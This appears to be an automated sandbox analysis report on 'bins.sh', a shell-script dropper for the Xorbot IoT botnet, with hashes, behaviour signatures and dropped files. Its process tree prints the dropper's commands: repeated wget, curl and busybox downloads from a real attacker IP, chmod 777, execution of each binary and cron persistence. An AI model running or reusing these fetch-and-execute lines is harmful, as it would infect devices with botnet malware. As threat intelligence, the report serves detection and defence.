Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/11/2024, 09:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1eec8b924791416fd0d003d6fe8c75b1

  • SHA1

    28d94b5fd6256a58a2706a2cafa995c79134f8b7

  • SHA256

    eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9

  • SHA512

    29aefaae8864ccc9f62ed56590ee88389667cfd2d3e7f66e4b95e7ae96f7ac17636e5c82eec1ab51a3f3c889f2da670a3a3e141d76600ca8dc29f214f7744827

  • SSDEEP

    192:b6JCklhxUMcZQlK28aqCaDnRqCaDnllhxUM+JCjK2A:bClhxUMcZQlK28aqCaDnRqCaDnllhxUL

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1830) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:665
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          ./RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Executes dropped EXE
          PID:690
        • /bin/rm
          rm RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            ./mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
              PID:704
            • /usr/bin/wget
              wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:705
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:715
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:722
            • /bin/chmod
              chmod 777 P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • File and Directory Permissions Modification
              PID:727
            • /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              ./P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:728
            • /bin/rm
              rm P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              PID:730
            • /usr/bin/wget
              wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Writes file to tmp directory
              PID:731
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/chmod
              chmod 777 OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              ./OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:755
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:757
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:759
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:760
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:761
                • /bin/rm
                  rm OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                  2⤵
                    PID:765
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                    2⤵
                      PID:768
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                      2⤵
                        PID:769
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        2⤵
                        • Writes file to tmp directory
                        PID:850
                      • /bin/chmod
                        chmod 777 1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        2⤵
                        • File and Directory Permissions Modification
                        PID:863
                      • /tmp/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        ./1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        2⤵
                        • Executes dropped EXE
                        PID:864
                      • /bin/rm
                        rm 1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        2⤵
                          PID:866
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                          2⤵
                            PID:867
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                            2⤵
                              PID:870
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                              2⤵
                              • Writes file to tmp directory
                              PID:873
                            • /bin/chmod
                              chmod 777 MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                              2⤵
                              • File and Directory Permissions Modification
                              PID:874
                            • /tmp/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                              ./MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                              2⤵
                              • Executes dropped EXE
                              PID:875
                            • /bin/rm
                              rm MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                              2⤵
                                PID:877
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                2⤵
                                  PID:878
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                  2⤵
                                    PID:879
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:893
                                  • /bin/chmod
                                    chmod 777 aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:898
                                  • /tmp/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                    ./aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:899
                                  • /bin/rm
                                    rm aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                    2⤵
                                      PID:901
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                      2⤵
                                        PID:903
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                        2⤵
                                          PID:904
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:907
                                        • /bin/chmod
                                          chmod 777 tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:910
                                        • /tmp/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                          ./tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                          2⤵
                                          • Executes dropped EXE
                                          PID:912
                                        • /bin/rm
                                          rm tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                          2⤵
                                            PID:913
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                            2⤵
                                              PID:914
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                              2⤵
                                                PID:915
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:917
                                              • /bin/chmod
                                                chmod 777 qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:926
                                              • /tmp/qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                                ./qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                                2⤵
                                                • Executes dropped EXE
                                                PID:928
                                              • /bin/rm
                                                rm qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx
                                                2⤵
                                                  PID:931
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/WlE6Eba5y8RmdszINtXcxbeun9sI9sqSYt
                                                  2⤵
                                                    PID:932

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                  SHA1

                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                  SHA256

                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                  SHA512

                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                • /tmp/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY

                                                  Filesize

                                                  117KB

                                                  MD5

                                                  849fa04ef88a8e8de32cb2e8538de5fe

                                                  SHA1

                                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                  SHA256

                                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                  SHA512

                                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                • /tmp/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4

                                                  Filesize

                                                  119KB

                                                  MD5

                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                  SHA1

                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                  SHA256

                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                  SHA512

                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                • /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

                                                  Filesize

                                                  98KB

                                                  MD5

                                                  5141342d0df8699fa32a6b066a0c592e

                                                  SHA1

                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                  SHA256

                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                  SHA512

                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                • /tmp/qre9jDXklOU7YnJz9vQxjI4EdlxQMGGThx

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /var/spool/cron/crontabs/tmp.atVTHb

                                                  Filesize

                                                  210B

                                                  MD5

                                                  d2ef5100e510259ce3f1c9c035c9b594

                                                  SHA1

                                                  cfe4b4c6ea9ee22f73c65aac30bcbad7d1d1ae10

                                                  SHA256

                                                  dbbb3082015c737b4ff12ca4f5aaa4ac1208fdf68705c69d040399dcbc3a2db3

                                                  SHA512

                                                  a133382ba560b66a136007f45b4e349407fe35529bf9ece92861d26246920569d57815b8a56f1671fab4058fd61dcd92dd5feef5d5285dbee0ba5464be6af31e